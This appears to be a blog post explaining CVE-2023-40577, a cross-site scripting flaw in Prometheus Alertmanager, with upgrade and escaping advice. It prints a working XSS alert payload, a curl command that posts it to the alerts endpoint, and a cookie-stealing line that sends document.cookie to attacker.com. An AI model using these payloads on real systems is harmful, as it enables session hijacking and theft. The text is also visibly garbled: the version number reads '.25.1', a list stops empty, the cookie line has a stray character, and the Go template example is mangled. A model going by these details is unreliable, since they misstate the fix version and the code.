Prometheus and its Alertmanager are used by organizations all over the world for alerting based on monitoring data. If you’re running Prometheus with Alertmanager, you should be aware of a serious security vulnerability known as CVE-2023-40577. This vulnerability could let an attacker run malicious JavaScript code in your browser, potentially exposing sensitive information or letting attackers take control of your session.

This post explains how the vulnerability works, shows a simple exploit, and helps you secure your systems.

What is CVE-2023-40577?

CVE-2023-40577 is a Cross-Site Scripting (XSS) vulnerability in Prometheus Alertmanager. If an attacker is allowed to send specially crafted alert data to the /api/v1/alerts HTTP endpoint (which is how Prometheus pushes alerts to Alertmanager), they can embed arbitrary JavaScript code. When someone views that alert in the Alertmanager web UI, the malicious code runs in the user's browser.

Affected versions: All Alertmanager versions before .25.1  
Fixed in: Alertmanager v.25.1

How Does the Attack Work?

Alertmanager takes alert data via the /api/v1/alerts endpoint. If user input isn’t cleaned up (sanitized), attackers can sneak in HTML or JavaScript code by including it in alert labels or annotations.

When a user (like an operator or sysadmin) visits the Alertmanager web interface to look at alerts, any embedded JavaScript will run in their browser. This can:

Example Exploit

Let’s walk through a real-world example showing just how easy this exploit can be.

Step 1: Attacker Sends Malicious Alert

Suppose an attacker can POST to your Alertmanager (they have network access and API permission). They POST this alert:

[
  {
    "labels": {
      "alertname": "MaliciousXSS",
      "severity": "critical"
    },
    "annotations": {
      "summary": "<img src='x' onerror='alert(\"XSS Attack!\")'>"
    }
  }
]

Here’s a curl command that does this

curl -XPOST -H "Content-Type: application/json" \
    -d '[{"labels": {"alertname": "MaliciousXSS", "severity": "critical"}, "annotations": {"summary": "<img src=\"x\" onerror=\"alert(\u0027XSS Attack!\u0027)\">"}}]' \
    http://your-alertmanager.example.com/api/v1/alerts

Step 2: User Views Alert

Someone opens the Alertmanager web UI and navigates to active alerts. When the UI displays the summary annotation, it renders the HTML as-is. The image’s onerror fires, and the JavaScript alert() runs.

Result: JavaScript executes in your browser — this could be something far worse than just alert() popping up.

Here’s the relevant section that would be vulnerable if data isn’t sanitized (in pseudo-code)

// Dangerous rendering, vulnerable to XSS
func renderAlertSummary(w http.ResponseWriter, alert Alert) {
    fmt.Fprintf(w, "<div>%s</div>", alert.Annotations["summary"])
}

If this is displayed in a web browser, the injected HTML/JS runs with the same privileges as the logged-in user.

- NVD CVE-2023-40577 Detail
- Prometheus Alertmanager GitHub Security Advisory
- Alertmanager Release v.25.1

What’s the Impact?

Who can exploit this?  
Anyone with permission to POST alerts to your Alertmanager API. In some environments, this could be developers, CI/CD bots, even attackers who’ve compromised part of your network.

What’s at risk?

Ability to perform privileged actions through your operations interfaces

Example attack: An attacker could post an alert with a payload stealing your cookies and sending them to the attacker’s server, giving them access to your UI:

<img src="1" onerror="fetch('http://attacker.com?cookie='; + document.cookie)">

Upgrade immediately to Alertmanager v.25.1 or newer:

https://github.com/prometheus/alertmanager/releases/tag/v.25.1

Sanitize User Input:

If you’re running a fork, make sure to escape/sanitize any user-controlled values before including them in rendered HTML.

How Was it Fixed?

The patch ensures annotations and labels are HTML-escaped before showing them in the UI. In Go, you can use html/template for safe rendering, so any <, >, or other HTML special characters get encoded, blocking browser parsing and JavaScript execution.

Example of proper escaping (Go)

import "html/template"

tmpl := template.Must(template.New("alert").Parse(&lt;div&gt;{{.Summary}}&lt;/div&gt;))
tmpl.Execute(w, alert.Annotations)

Conclusion

CVE-2023-40577 is a critical reminder: any time you display user-controlled data in a web app, it needs to be properly sanitized. For Alertmanager users, upgrading to v.25.1 or later is essential, and so is making sure your APIs are locked down.

Further Reading

- The Art of XSS (cross-site scripting) – PortSwigger
- Prometheus Documentation


*Feel free to share this post with your team to raise awareness and keep your monitoring stack safe!*

Timeline

Published on: 08/25/2023 01:15:00 UTC
Last modified on: 08/31/2023 14:45:00 UTC